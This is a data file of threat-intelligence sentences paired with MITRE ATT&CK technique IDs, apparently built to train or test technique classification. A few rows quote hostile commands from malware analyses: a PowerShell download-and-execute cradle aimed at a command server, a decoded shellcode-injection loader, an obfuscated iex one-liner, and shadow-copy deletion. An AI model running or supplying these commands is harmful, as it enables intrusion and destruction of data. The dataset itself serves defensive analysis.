"Features TCP network stream (IPv4 & IPv6 support) Fast network serialization (Protocol Buffers) Compressed (QuickLZ) & Encrypted (TLS) communication Multi-Threaded UPnP Support No-Ip.com Support Visit Website (hidden & visible) Show Messagebox Task Manager File Manager Startup Manager Remote Desktop Remote Shell Download & Execute Upload & Execute System Information Computer Commands (Restart, Shutdown, Standby) Keylogger (Unicode Support) Reverse Proxy (SOCKS5) Password Recovery (Common Browsers and FTP Clients) Registry Editor Supported runtimes and operating systems .NET Framework 4.0 Client Profile or higher (Download) Supported operating systems (32- and 64-bit) Windows XP SP3 Windows Server 2003 Windows Vista Windows Server 2008 Windows 7 Windows Server 2012 Windows 8/8.1 Windows 10 Compiling Open the project in Visual Studio 2017+ and restore the NuGET packages",T1106 | T1010 | T1105 | T1021.002
"Figure 5 HTTP POST request to obtain an OAUTH access token Figure 5 shows that the Trojan then uses the following regular expression to obtain the access token from the HTTP response: \""access_token\"":(.) Once authenticated with a valid access token, the Trojan will attempt to upload a file to the Google Drive account",T1071 | T1134
"For example, one of these FIN7 LNK files contained the following properties: Version: 0 NetBIOS name: andy-pc Droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca Droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268 Birth droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca Birth droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268 MAC address: 08:00:27:3d:52:68 UUID timestamp: 03/21/2017 (12:12:28.500) [UTC] UUID sequence number: 2861 From this LNK file, we can see not only what the shortcut launched within the string data, but that the attacker likely generated this file on a VirtualBox system with hostname ""andy-pc"" on March 21, 2017",T1070.006 | T1082 | T1547.009
"For more information related to HIDDEN COBRA activity, go to users or administrators detect the custom tools indicative of HIDDEN COBRA, these tools should be immediately flagged, reported to the DHS National Cybersecurity Communications and Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and given highest priority for enhanced mitigation",T1518.001 | T1564.001
"Hardcoded domain ""mumbai-m[.]site"" BONDUPDATER will attempt to resolve the resulting DGA domain and will take the following actions based on the IP address resolution: Create a temporary file in %temp% location The file created will have the last two octets of the resolved IP addresses as its filename",T1036 | T1016
Here is the registry creation:The registry location where persistence is achieved is: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update,T1112 | T1547.001 | T1012
"If HWP.exe is found running on the system, the malware finds the currently open file in HWP by extracting the file path from the command-line argument passed to HWP.exe This word file (usually named .hwp) is copied into the temporary file path C:\DOCUME~1\\LOCALS~1\Temp\2.hwp hwp is an exact copy of the file loaded into HWP.exe The malware reads the contents of 2.hwp and finds an ""MZ magic marker"" in the file indicated by the string ""JOYBERTM"" Checking for the MZ marker in the HWP file",T1070.006 | T1036 | T1070.004 | T1074
"If the file does not exist, the Trojan will send the C2 server a message by sending the following URL: If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class",T1070.006 | T1070.004 | T1105
"""In the example above, the ""spp.exe"" executable would be added to an auto-run registry key at: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore Many of the Fetch samples attempted to obfuscate their functionality by encrypting their embedded strings with AES using the same key ""agkrhfpdbvhdhrkj""; however, the loader's main goal involved running the following command:/c powershell -window hidden -EncodedCommand JAAwAG8AOABlACAAPQAgACcAJABmADkAQgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsA&lt;snip&gt;The base64 encoded command decodes to the following:$0o8e = '$f9B = ''[DllImport(""""kernel32.dll"""")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""""kernel32.dll"""")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""""msvcrt.dll"""")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $f9B -Name """"Win32"""" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = &lt;shellcode REDACTED for brevity&gt;;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rJr=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($rJr.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$rJr,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($0o8e));$DKn = """"-enc """";if([IntPtr]::Size -eq 8){$b32 = $env:SystemRoot + """"\syswow64\WindowsPowerShell\v1.0\powershell"""";iex """"&amp; $b32 $DKn $e""""}else{;iex """"&amp; powershell $DKn $e"""";}The decoded command above builds a buffer that it uses to store shellcode and creates a thread to execute it""",T1059.001
"It was also able to use a component of multinational antivirus software Avast to gain information about the target system, as well as a process belonging to Brazilian information security company GAS Tecnologia to gather personal information",T1518.001 | T1082
Japanese Tech Company Taiwanese Government Organizations Organizations in the Asia-Pacific Region that are of Interest to China The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors: C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword.exe WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor,T1518.001 | T1005
"LOWBALL Malware Analysis The spear phishing emails contained three attachments in total, each of which exploited an older vulnerability in Microsoft Office (CVE-2012-0158): MD5 Filename b9208a5b0504cb2283b1144fc455eaaa 使命公民運動 我們的異象.doc ec19ed7cddf92984906325da59f75351 新聞稿及公佈.doc 6495b384748188188d09e9d5a0c401a4 (代發)[采訪通知]港大校友關注組遞信行動.doc In all three cases, the payload was the same: MD5 Filename d76261ba3b624933a6ebb5dd73758db4 time.exe This backdoor, known as LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server",T1036 | T1598.002 | T1102
"Once activated, this variant of the KillDisk component looks for and terminates two non-standard processes with the following names: komut.exe sec_service.exe We didn't manage to find any information regarding the name of the first process (komut.exe)",T1036
"Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system",T1053.005
"Original File Name Translation Decoy Location Most Likely Target 1060315 本部發言參考.doc 1060315 Headquarters Speech Reference.doc Defense Industry Development Strategy TW Defense 轉給苦逼的網管兄弟.doc Passing to cool fellow network administrators.doc Network administration jokes TW High Tech Telecommunication 2.SC OAM Firewall Policy_0306.xls 2.SC OAM Firewall Policy_0306.xls Network topology diagrams TW High Tech Telecommunication Figure 3 Decoy document discussing Taiwan's defense industry development strategy Figure 4 Network firewall configuration description for a telecommunication company in Taiwan Figure 5 Decoy document providing network topology information It is worth noting that in the attack that made use of the decoy document in Figure 4, the attacker also included related firewall logs and appears to have originated from a compromised an IT service vendor",T1021.002
"powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\WindowsDefenderService.ini);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join("",$d)); PowerShell one-liner Encoded text file Execution flow: Case 2: VBS and text files dropped by the macro The VBS file decodes itself and calls mshta.exe, passing on one line of VBScript code to it, which in turn spawns a PowerShell one-liner which finally consumes the text file (usually Base64-encoded text)",T1140 | T1036 | T1059.001
"Previously the fake website linked to the following documents in a third fake Oxford domain, oxford[.]in: The documents were unavailable during our research, and their content is unknown to us",T1071 | T1105
"Regardless of the file extensions, the files dropped by the macro are EITHER INF, SCT and text files OR VBS and text files",T1070.004 | T1083
"Second stage shellcode The second stage shellcode will then perform the following actions: Download the final payload (FinSpy) from hxxp://89.45.67[.]107/rss/mo.exe Download a lure document to display to the victim from the same IP Execute the payload and display the lure document Payload - mo.exe As mentioned earlier, the ""mo.exe"" payload (MD5: 4a49135d2ecc07085a8b7c5925a36c0a) is the newest version of Gamma International's FinSpy malware, typically sold to nation states and other law enforcement agencies to use in lawful surveillance operations. This newer variant has made it especially difficult for researchers to analyze the malware due to many added anti-analysis techniques, to include a custom packer and virtual machine to execute code",T1055.012 | T1105
"Several techniques are employed for executing the PowerShell code: If command starts with ""excel"", then it leverages DDEInitiate Method of Excel.Appilcation to execute the code: If the command starts with ""outlook"", then it leverages Outlook.Application and MSHTA to execute the code: If the command starts with ""risk"", then execution is performed through DCOM object: File upload functionality",T1106 | T1140 | T1059
"SHUTDOWN Shuts down the system using cmd /s /t 0 RESTART Reboots the system using cmd /r /t 0 PROCANDSOFT Lists all active processes and all installed software and uploads the results to the C2 server using a POST command at the ""/log.php""",T1071 | T1059
The Check Point IPS blade provides protections against these threats: Command Injection Over HTTP NoneCMS. ThinkPHP Remote Code Execution (CVE-2018-20062). Oracle WebLogic WLS Security Component Remote Code Execution (CVE-2017-10271). Oracle WebLogic WLS Server Component Arbitrary File Upload (CVE-2018-2894). Hadoop YARN ResourceManager Remote Command Execution. Apache ActiveMQ Fileserver Multi Methods Directory Traversal (CVE-2016-3088). JBoss Seam 2 Framework Remote Code Execution (CVE-2010-1871). JBoss Enterprise Application Platform Invoker Servlets Remote Code Execution (CVE-2012-0874). Red Hat JBoss AS Remote Code Execution.,T1106 | T1140 | T1059 | T1203 | T1105 | T1569.002
The hook main module contained encrypted strings and handled all the function calls and strings as the references in a large structure,T1140 | T1027
"The log files mentioned previously are stored in the same directory as NavRAT on the victim machine, again making it easy for us to find and analyse the additional log files",T1083 | T1074 | T1105
"""The macro carries out this first technique by running the following command:powershell.exe -w hidden -noni -nop -c """"iex(New-Object System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegae1')""""The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute: GET /eiloShaegae1 HTTP/1.1 Host: 139.59.46[.]154:3485 Connection: Keep-Alive The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code""",T1071 | T1008 | T1059.001
"The main module of the Trojan can execute the following commands: CommandDescription 0x1FSet the dwell time value for the standby mode 0x29Activate the controllers 0x2ASet new configuration data and update the list of command and control servers 0x32Set the dwell time value for the active mode 0x33Set up the plug-in 0x33Save the dwell time values into the database 0x34Activate the plug-ins 0x35Add configuration data 0x36Delete the specified configuration data The Remote Shell Module can execute the following commands: CommandDescription 0x66Exit 0x65Open a remote Shell 0x68Verify that the Shell in running 0x67Execute a command The module, which interacts with the file system, can execute the following commands: cmdDescription 0x65Find the file(s) 0x66Read the file(s) 0x67Save the file 0x68Remove the file(s) 0x69Run the file(s) A report on the operations' execution by this module is displayed as the HTML code",T1070.006 | T1140 | T1059
"These samples communicated with the following hosts via FTP for C2 communication: ftp.byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com Beginning in June 2018, we observed the OceanSalt malware family being dropped by CARROTBAT",T1071 | T1048
"The subscription was configured to run a PowerShell command that read, decrypted, and executed the backdoor code directly from the new WMI property",T1140 | T1059.001
The threat actor can now combine the information and brute force their way throughout the network (through NetBIOS) using a list of usernames and passwords as well as a range of IP addresses,T1016 | T1110
"The Trojan then gets the hexadecimal values of the compressed data and will replace the following hexadecimal values on each line with ASCII characters to further compressed the data: String of hexadecimal values Character replacement 000000 z 00000 x 0000 y 000 g 00 w 01 t The Trojan then writes 1500 bytes of the hexadecimal formatted data, one per line to a temporary file in the SpecialFolder.CommonApplicationData folder named as:.tmp The Trojan will then read each line from this temporary file and send them to the C2 server by issuing requests to a URL structured as follows: Once all of the lines of hexadecimal formatted data in the temporary file are sent to the C2 server, the Trojan will send a request to the C2 server to notify the data has been successfully transmitted via a URL structured as follows: Overlaps with Previous OilRig Group Attacks Since May 2016, we have continued to monitor and uncover various attacks and tools associated with the OilRig group",T1573 | T1070.004 | T1074 | T1041 | T1048 | T1486
"This IP has hosted other domains used by APT3 in past campaigns: DOMAIN FIRST SEEN LAST SEEN IP ADDRESS join.playboysplus[.]com 2014-11-21 2014-11-21 104.151.248.173 walterclean[.]com 2014-11-18 2014-11-20 104.151.248.173 www.walterclean[.]com 2014-11-18 2014-11-20 104.151.248.173 As we discussed in our previous blog detailing previous APT3 activity, the walterclean[.]com served as a Plugx/Kaba command and control server",T1016 | T1068
"We include a list of observed hardcoded ip C2 addresses here, along with the address owner and geophysical location of the host: C2 IP address Owner Country 184.22.205.194 hostnoc.net US 5.79.80.166 Leaseweb NL 46.165.222.28 Leaseweb NL 95.211.122.36 Leaseweb NL 46.165.222.101 Leaseweb NL 46.165.222.6 Leaseweb NL 89.149.223.205 Leaseweb NL 85.17.94.134 Leaseweb NL 46.4.28.218 Hetzner DE 78.46.40.239 Hetzner DE 95.143.193.182 Serverconnect SE 188.227.176.74 Redstation GB 93.170.127.100 Nadym RU 37.220.34.56 Yisp NL 194.28.172.58 Besthosting.ua UA 124.217.253.10 PIRADIUS MY 84.19.161.123 Keyweb DE 109.236.88.12 worldstream.nl NL 212.124.110.62 digitalone.com US 5.61.38.31 3nt.com DE 5.255.87.39 serverius.com NL It's interesting that one of these servers is a Tor exit node",T1016 | T1008
"""When HawkEye is executed, in line 34, byte[] byte_ = gclass.method_0()[""""0"""", GClass30.GEnum3.RCDATA].Byte_0;it reads the encrypted configuration from the RCDATA resource and in line 33,byte[] byte_2 = GClass29.smethod_12(byte_, GClass12.string_0);and then decrypts this data with the Rijndael algorithm you can see below in the RijndaelManaged function to initialize the HawkEye configuration settings.The decrypted configuration shows us the account used for exfiltration:The main loop of HawkEye has the following functions:This shows the rich feature set of HawkEye""",T1140
ADVSTORESHELL achieves persistence by adding itself to the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry key.,T1547.001
APT-C-36 used a customized version of QuasarRAT to monitor browser windows for strings relating to specific Colombian financial institutions.,T1010
"AcidPour includes functionality to reboot the victim system following wiping actions, similar to AcidRain.",T1529
AcidRain identifies specific files and directories in the Linux operating system associated with storage devices.,T1083
AcidRain performs an in-depth wipe of the target filesystem and various attached storage devices through either a data overwrite or calling various IOCTLS to erase it.,T1485
"Akira _v2 can enumerate the trace, debug, error, info, and warning logs on targeted systems.",T1654
"Apostle achieves persistence by creating a scheduled task, such as MicrosoftCrashHandlerUAC.",T1053.005
Apostle reboots the victim machine following wiping and related activity.,T1529
"Apostle writes batch scripts to disk, such as system.bat and remover.bat, that perform various anti-analysis and anti-forensic tasks, before finally deleting themselves at the end of execution. Apostle attempts to delete itself after encryption or wiping operations are complete and before shutting down the victim machine.",T1070.004
AppleJeus has sent data to its C2 server via POST requests.,T1071.001
AppleSeed can use GetKeyState and GetKeyboardState to capture keystrokes on the victim's machine.,T1056.001
AppleSeed has the ability to create the Registry key name EstsoftAutoUpdate at HKCU\Software\Microsoft/Windows\CurrentVersion\RunOnce to establish persistence.,T1547.001
Aria-body has the ability to execute a process using runas.,T1134.002
"Aria-body has the ability to identify the hostname, computer name, Windows version, processor speed, and machine GUID on a compromised host.",T1082
AshTag can use HTTP to send and receive data from C2.,T1071.001
AshTag has exfiltrated reconnaissance data on targeted systems to C2 servers.,T1041
Astaroth has obfuscated and randomized parts of the JScript code it is initiating.,T1027.010
AsyncRAT can capture keystrokes on the victim's machine.,T1056.001
AsyncRAT can check the disk size through the values obtained with `DeviceInfo.`,T1680
AsyncRAT can examine running processes to determine if a debugger is present.,T1057
AsyncRAT has the ability to use OS APIs including `CheckRemoteDebuggerPresent`.,T1106
AsyncRAT use a DGA to generate a C2 domains.,T1568.002
BADCALL disables the Windows firewall before binding to a port.,T1686.003
BADCALL modifies the firewall Registry key SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileGloballyOpenPorts\\List.,T1112
BADHATCH can beacon to a hardcoded C2 IP address using TLS encryption every 5 minutes.,T1573.002
BADHATCH can check for open ports on a computer by establishing a TCP connection.,T1046
BADHATCH can take screenshots and send them to an actor-controlled C2 server.,T1113
"BADHATCH can use `net.exe group ""domain admins"" /domain` to identify Domain Administrators.",T1069.002
BADHATCH can utilize `powershell.exe` to execute commands on a compromised host.,T1059.001
BBK has the ability to use the CreatePipe API to add a sub-process for execution via cmd.,T1106
BFG Agonizer wipes the boot sector of infected machines to inhibit system recovery.,T1490
"BISCUIT has a command to collect the processor type, operation system, computer name, and whether the system is a laptop or PC.",T1082
"BOLDMOVE calls the signal function to ignore the signals SIGCHLD, SIGHIP, and SIGPIPE prior to starting primary logic.",T1564.011
BOLDMOVE uses web services for command and control communication.,T1071.001
BONDUPDATER uses -windowstyle hidden to conceal a PowerShell window that downloads a payload.,T1564.003
BOOKWORM has created a service named `Microsoft Windows DeviceSync Service` at `HKLM\SYSTEM\CurrentControlSet\Services\DeviceSync\` to trigger execution when the system starts and to maintain persistence.,T1543.003
BOOKWORM has utilized Base64 encoding to obfuscate its payload.,T1027.013
"BPFDoor uses BPF bytecode to attach a filter to a network socket to view ICMP, UDP, or TCP packets coming through ports 22 (ssh), 80 , and 443 . When BPFDoor finds a packet containing its ""magic"" bytes, it parses out two fields and forks itself. The parent process continues to monitor filtered traffic while the child process executes the instructions from the parsed fields.",T1205.002
BRICKSTORM has communicated with C2 infrastructure via TLS.,T1573.002
BRICKSTORM has decoded its encrypted C2 traffic prior to execution. BRICKSTORM also has the ability to decode its obfuscated payload before execution.,T1140
"BRICKSTORM has embedded delayed-start logic that attempts to circumvent detection for long-term persistence. BRICKSTORM has been observed configured with a ""delay"" timer built-in that waited for a hard-coded date months in the future before beginning to beacon to the configured C2 domain.",T1678
"BRICKSTORM has identified specific files and directories within targeted hosts and systems for modification, execution, collection and exfiltration.",T1083
BRICKSTORM has leveraged Base64 to encode C2 communications.,T1132.001
BRICKSTORM has the ability to delete files and directories. BRICKSTORM also has deleted installer files after execution to reduce detection.,T1070.004
"BRICKSTORM has utilized XOR cipher encryption to hide key strings within their code, to include IPv4 addresses of public DNS-over-HTTPS (DOH) servers.",T1027.013
BUSHWALK can modify the `DSUserAgentCap.pm` Perl module on Ivanti Connect Secure VPNs and either activate or deactivate depending on the value of the user agent in incoming HTTP requests.,T1205
BUSHWALK can write malicious payloads sent through a web request's command parameter.,T1105
BabyShark can execute additional VisualBasic content.,T1059.005
BackConfig has hidden malicious payloads in %USERPROFILE%\Adobe\Driver\dwg\ and mimicked the legitimate DHCP service binary.,T1036.005
BeaverTail has been executed through lures involving malicious JavaScript projects or trojanized remote conferencing software such as MicroTalk or FreeConference. BeaverTail has also been executed through macOS and Windows installers disguised as chat applications.,T1204.002
BeaverTail has identified .ldb and .log files stored in browser extension directories for collection and exfiltration.,T1654
"Before executing malicious code, Ragnar Locker checks the Windows API GetLocaleInfoW and doesn't encrypt files if it finds a former Soviet country.",T1614
BendyBear can query the host's Registry key at HKEY_CURRENT_USER\Console\QuickEdit to retrieve data.,T1012
BlackByte 2.0 Ransomware executes as a service when deployed.,T1569.002
BlackByte Ransomware spreads itself laterally by writing the JavaScript launcher file to mapped shared folders.,T1570
BlackCat can obtain the computer name and UUID.,T1082
BlackCat can use `wmic.exe` to delete shadow copies on compromised networks.,T1047
BlackCat has the ability modify access tokens.,T1134
Brute Ratel C4 has gained execution through users opening malicious documents.,T1204.002
Brute Ratel C4 has the ability to upload files from a compromised system.,T1005
Brute Ratel C4 has used reflective loading to execute malicious DLLs.,T1620
Bundlore can change browser security settings to enable extensions to be installed. Bundlore uses the pkill cfprefsd command to prevent users from inspecting processes.,T1685
CANONSTAGER has abused legitimate executables to side-load malicious DLLs.,T1574.001
CASTLETAP can execute a C2 command to transfer files from victim machines.,T1005
CHIMNEYSWEEP can capture screenshots on targeted systems using a timer and either upload them or store them to disk.,T1113
"CHIMNEYSWEEP can check if a process name contains ""creensaver.""",T1057
CHIMNEYSWEEP can use CMSTP.exe to install a malicious Microsoft Connection Manager Profile.,T1218.003
CHIMNEYSWEEP can use a custom Base64 alphabet for encoding C2.,T1132.002
CHIMNEYSWEEP can use a custom Base64 alphabet to encode an API decryption key.,T1027
CHIMNEYSWEEP has been dropped by a self-extracting archive signed with a valid digital certificate.,T1553.002
CHOPSTICK may modify Registry keys to store RC4 encrypted configuration information.,T1112
"CLAIMLOADER has created scheduled tasks that execute the loader every five(5) minutes using `schtasks /F /Create /TN \""\"" /SC minute /MO 5 /TR \""C:\\ProgramData\\ \`.",T1053.005
CLAIMLOADER has leveraged Component Object Model (COM) objects to create a scheduled task using `ITaskService` interface.,T1559.001
"COATHANGER copies the malicious file /data2/.bd.key/preload.so to /lib/preload.so, then launches a child process that executes the malicious file /data2/.bd.key/authd as /bin/authd with the arguments /lib/preload.so reboot newreboot 1. This injects the malicious preload.so file into the process with PID 1, and replaces its reboot function with the malicious newreboot function for persistence.",T1574.006
COATHANGER decodes configuration items from a bundled file for command and control activity.,T1140
COATHANGER provides a BusyBox reverse shell for command and control.,T1059.004
COATHANGER uses an HTTP GET request to initialize a follow-on TLS tunnel for command and control.,T1071.001
Carbon uses the net view command.,T1018
"Chaes has used an unsigned, crafted DLL module named hha.dll that was designed to look like a legitimate 32-bit Windows DLL.",T1036.005
Cheerscrypt has leveraged `esxcli` in order to terminate running virtual machines.,T1059.012
"Chinoxy can use a digitally signed binary (""Logitech Bluetooth Wizard Host Process"") to load its dll into memory.",T1574.001
Chrommme has the ability to obtain the computer name of a compromised host.,T1082
"Clambling has the ability to enumerate Registry keys, including KEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt\strDataDir to search for a bitcoin wallet.",T1012
Clop can uninstall or disable security products.,T1685
Cobalt Strike can deobfuscate shellcode using a rolling XOR and decrypt metadata from Beacon sessions. The Cobalt Strike loader component can also decrypt the .bss section of the Beacon binary prior to execution.,T1140
Cobalt Strike can use WinRM to execute a payload on a remote host.,T1021.006
"CoinTicker downloads the following hidden files to evade detection and maintain persistence: /private/tmp/.info.enc, /private/tmp/.info.py, /private/tmp/.server.sh, ~/Library/LaunchAgents/.espl.plist, ~/Library/Containers/.random string/random string.",T1564.001
ComRAT can load a PE file from memory or the file system and execute it with CreateProcessW.,T1106
Comnie runs the net view command,T1018
Comnie uses the tasklist to view running processes on the victim's machine.,T1057
Conficker terminates various services related to system security and Windows.,T1685
"CookieMiner has looked for files in the user's home directory with ""wallet"" in their name using find.",T1083
CorKLOG has encrypted collected contents using RC4. CorKLOG has also utilized XOR encrypted strings.,T1027.013
Covenant can create HTA files to install Grunt listeners.,T1218.005
Covenant can create launchers via an InstallUtil XML file to install new Grunt listeners.,T1218.004
Covenant can utilize SSL to encrypt command and control traffic.,T1573.002
Cuba can retrieve the ARP cache from the local system by using GetIpNetTable.,T1016
"Cuba has the ability to encrypt system data and add the "".cuba"" extension to encrypted files.",T1486
Cuba has used cmd.exe /c and batch files for execution.,T1059.003
Cuba logs keystrokes via polling by using GetKeyState and VkKeyScan functions.,T1056.001
"Cuckoo Stealer can collect bookmarks, cookies, and history from Safari.",T1217
Cuckoo Stealer can discover and send the username from a compromised host to C2.,T1033
Cuckoo Stealer can search for files associated with specific applications.,T1083
"Cuckoo Stealer can send information about the targeted system to C2 including captured passwords, OS build, hostname, and username.",T1041
Cuckoo Stealer can use `launchctl` to load a LaunchAgent for persistence.,T1569.001
Cuckoo Stealer can use sockets for communications to its C2 server.,T1095
Cuckoo Stealer has copied its binary and the victim's scraped password into a hidden folder in the `/Users` directory.,T1564.001
DEADEYE has encrypted its payload.,T1027.013
DEADWOOD deletes files following overwriting them with random data.,T1561.001
"DEADWOOD will set a timestamp value to determine when wiping functionality starts. When the timestamp is met on the system, a trigger file is created on the operating system allowing for execution to proceed. If the timestamp is in the past, the wiper will execute immediately.",T1124
"DLL side-loading has been used to execute BBSRAT through a legitimate Citrix executable, ssonsvr.exe. The Citrix executable was dropped along with BBSRAT by the dropper.",T1574.001
"DRYHOOK has the ability to remount the filesystem as ""read-write"" to make changes and then restores it to ""read-only"" prior to killing processes to apply the modifications.",T1222.002
DUSTPAN decrypts and executes an embedded payload.,T1027.009
DUSTPAN is often disguised as a legitimate Windows binary such as `w3wp.exe` or `conn.exe`.,T1036.005
DUSTTRAP can capture screenshots.,T1113
DUSTTRAP can identify victim environment Group Policy information.,T1615
"DarkComet adds a Registry value for its installation routine to the Registry Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System Enable LUA=""0"" and HKEY_CURRENT_USER\Software\DC3_FEXEC.",T1112
"DarkGate can delete system restore points through the command cmd.exe /c vssadmin delete shadows /for=c: /all /quiet"".",T1490
DarkGate can deploy follow-on cryptocurrency mining payloads.,T1496.001
"DarkGate edits the Registry key HKCU\Software\Classes\mscfile\shell\open\command to execute a malicious AutoIt script. When eventvwr.exe is executed, this will call the Microsoft Management Console (mmc.exe), which in turn references the modified Registry key.",T1574
DarkGate elevates accounts created through the malware to the local administration group during execution.,T1098.007
DarkGate executes a Windows Batch script during installation that creases a randomly-named directory in the C:\\ root directory that copies and renames the legitimate Windows curl command to this new location.,T1036.003
DarkGate has used WMI to execute files over the network and to obtain information about the domain.,T1047
DarkGate has used the `shutdown`command to shut down and/or restart the victim system.,T1529
"DarkGate installation includes AutoIt script execution creating a shortcut to itself as an LNK object, such as bill.lnk, in the victim startup folder. DarkGate installation finishes with the creation of a registry Run key.",T1547.001
DarkGate masquerades malicious LNK files as PDF objects using the double extension .pdf.lnk.,T1036.007
"DarkGate performs various checks for running processes, including security software by looking for hard-coded process name values.",T1057
DarkGate searches for stored credentials associated with cryptocurrency wallets and notifies the command and control server when identified.,T1119
DarkGate use Nirsoft Network Password Recovery or NetPass tools to steal stored RDP credentials in some malware versions.,T1555
"DarkGate uses AutoIt scripts dropped to a hidden directory during initial installation phases, such as `test.au3`.",T1059.010
DarkTortilla can implement the `kernel32.dll` Sleep function to delay execution for up to 300 seconds before implementing persistence or processing an addon package.,T1497.003
DarkTortilla can use `cmd.exe` to add registry keys for persistence.,T1059.003
DarkTortilla has established persistence via the `Software\Microsoft\Windows NT\CurrentVersion\Winlogon` registry key.,T1547.004
DarkTortilla has used HTTP and HTTPS for C2.,T1071.001
DarkWatchman has been delivered as compressed RAR payloads in ZIP files to victims.,T1027.015
DarkWatchman has used Base64 to encode PowerShell commands.,T1027.010
DarkWatchman has used the csc.exe tool to compile a C# executable.,T1027.004
"Data captured by RawPOS is placed in a temporary file under a directory named ""memdump"".",T1074.001
"Denis used the IsDebuggerPresent, OutputDebugString, and SetLastError APIs to avoid debugging. Denis used GetProcAddress and LoadLibrary to dynamically resolve APIs. Denis also used the Wow64SetThreadContext API as part of a process hollowing process.",T1106
"Diavol has encrypted files using an RSA key though the `CryptEncrypt` API and has appended filenames with "".lock64"".",T1486
Dok gives all users execute permissions for the application using the command chmod +x /Users/Shared/AppStore.app.,T1222.002
Dok installs a root certificate to aid in Adversary-in-the-Middle actions using the command add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /tmp/filename.,T1553.004
Dtrack contains a function that calls LoadLibrary and GetProcAddress.,T1129
"During Operation AkaiRyū, MirrorFace used malicious files to drop ROAMINGHOUSE.",T1204.002
DustySky achieves persistence by creating a Registry entry in HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.,T1547.001
"DynoWiper has overwritten files with 16-byte sequences of random data generated by the Mersenne Twister algorithm using the Microsoft Windows native `CreateFileW()` function to open the file and the `SetFilePointerEx()` and `WriteFile()` functions to overwrite the file. Additionally, versions of DynoWiper can also delete files using the `DeleteFileW` API.",T1485
"DynoWiper has used multiple native Windows functions, such as `GetLogicalDrives` and `FindNextFile` for discovery and file deletion.",T1106
EKANS stops processes related to security and management software.,T1685
Earlier Pikabot variants use a custom encryption procedure leveraging multiple mechanisms including AES with multiple rounds of Base64 encoding for its command and control communication. Later Pikabot variants eliminate the use of AES and instead use RC4 encryption for transmitted information.,T1573.001
Ecipekac can abuse the legitimate application policytool.exe to load a malicious DLL.,T1574.001
Elise executes net user after initial communication is made to the remote server.,T1087.001
"Embargo has leveraged MS4Killer to deliver a vulnerable driver to the victim device, sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD). Embargo has utilized the vulnerable driver probmon.sys version 3.0.0.4 which had a revoked certificated from ""ITM System Co.,LTD.""",T1068
"Embargo has modified and deleted Registry keys to add services, and to disable Security Solutions such as Windows Defender.",T1112
Embargo has terminated active processes and services based on a hardcoded list using the `CloseServiceHandle()` function. Embargo has also leveraged MS4Killer to terminate processes contained in an embedded list of security software process names that were XOR-encrypted.,T1489
Embargo has utilized a BAT script to disable security solutions.,T1059.003
Emotet has copied itself to remote systems using the `service.exe` filename.,T1570
Emotet has enumerated non-hidden network shares using `WNetEnumResourceW`.,T1135
Emotet has used a self-extracting RAR file to deliver modules to victims. Emotet has also extracted embedded executables from files using hard-coded buffer offsets.,T1140
"Emotet uses a copy of `certutil.exe` stored in a temporary directory for process hollowing, starting the program in a suspended state before loading malicious code.",T1055.012
Empire can use New-GPOImmediateTask to modify a GPO that will install and execute a malicious Scheduled Task/Job.,T1484.001
"Epic collects the OS version, hardware information, computer name, available system memory status, and system and user language settings.",T1082
Epic uses the tasklist /svc command to list the services on the system.,T1007
EvilBunny has created Registry keys for persistence in HKLM|HKCU\...\CurrentVersion\Run.,T1547.001
